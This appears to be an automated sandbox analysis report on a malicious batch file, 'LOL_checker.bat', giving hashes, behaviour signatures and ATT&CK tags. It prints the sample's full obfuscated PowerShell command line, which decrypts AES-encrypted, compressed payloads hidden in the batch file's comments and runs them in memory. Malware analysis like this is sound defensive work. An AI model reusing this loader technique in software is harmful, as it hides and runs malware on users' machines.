a0f43c5748ada07a12af81dda2460045030f936a8d5081f3a403f85c2a9668f8

Analysis

max time kernel
10s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
02/05/2023, 07:49

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General

Target

LOL_checker.bat
Size

13.5MB
MD5

f7863fbcae244fa731b8b7d1e29bfb83
SHA1

44f01e8ad60e9f8c9830e256af0cab44796a0c06
SHA256

a0f43c5748ada07a12af81dda2460045030f936a8d5081f3a403f85c2a9668f8
SHA512

2f28b3d2d6bf51d0bac1aae84114bfcfc99218a0310c7ac95c8e34a04efe3f1fd37821b566483099e47ea693fa453290cfa82393bae48dfdfd933bbc34db0a8c
SSDEEP

49152:xn+XTjaklourM+8cnw+LP8HLTbQuUftwWx/njk4HI/GyIAGrtVtbsuhpcy8Jl5sl:O

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2000	LOL_checker.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
1256	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2000	LOL_checker.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2000	LOL_checker.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1256 wrote to memory of 2000	1256	cmd.exe	29
PID 1256 wrote to memory of 2000	1256	cmd.exe	29
PID 1256 wrote to memory of 2000	1256	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\LOL_checker.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1256
- C:\Users\Admin\AppData\Local\Temp\LOL_checker.bat.exe
  "LOL_checker.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function DQmdf($GcQSI){ $MLWPM=[System.Security.Cryptography.Aes]::Create(); $MLWPM.Mode=[System.Security.Cryptography.CipherMode]::CBC; $MLWPM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $MLWPM.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jnElpKi3YXgWFDU7pRsJ29FkGHhv7uNvwUu22mGWA88='); $MLWPM.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AiYws6YSgygGmwuUkwYnTg=='); $vdfPb=$MLWPM.CreateDecryptor(); $return_var=$vdfPb.TransformFinalBlock($GcQSI, 0, $GcQSI.Length); $vdfPb.Dispose(); $MLWPM.Dispose(); $return_var;}function Jxcvo($GcQSI){ $ZkRsx=New-Object System.IO.MemoryStream(,$GcQSI); $isvCW=New-Object System.IO.MemoryStream; $xcnTt=New-Object System.IO.Compression.GZipStream($ZkRsx, [IO.Compression.CompressionMode]::Decompress); $xcnTt.CopyTo($isvCW); $xcnTt.Dispose(); $ZkRsx.Dispose(); $isvCW.Dispose(); $isvCW.ToArray();}function WwkcJ($GcQSI,$gLxyw){ $xyGVN=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$GcQSI); $rMLKn=$xyGVN.EntryPoint; $rMLKn.Invoke($null, $gLxyw);}$rZFEd=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\LOL_checker.bat').Split([Environment]::NewLine);foreach ($crFGN in $rZFEd) { if ($crFGN.StartsWith(':: ')) { $kQmAw=$crFGN.Substring(3); break; }}$nzheQ=[string[]]$kQmAw.Split('\');$fCDTP=Jxcvo (DQmdf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($nzheQ[0])));$MFOxB=Jxcvo (DQmdf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($nzheQ[1])));WwkcJ $MFOxB (,[string[]] (''));WwkcJ $fCDTP (,[string[]] (''));
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2000

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\LOL_checker.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\LOL_checker.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/2000-59-0x000000001AFB0000-0x000000001B292000-memory.dmp

Filesize
2.9MB

Download
memory/2000-60-0x00000000002E0000-0x00000000002E8000-memory.dmp

Filesize
32KB

Download
memory/2000-61-0x00000000025C4000-0x00000000025C7000-memory.dmp

Filesize
12KB

Download
memory/2000-62-0x00000000025CB000-0x0000000002602000-memory.dmp

Filesize
220KB

Download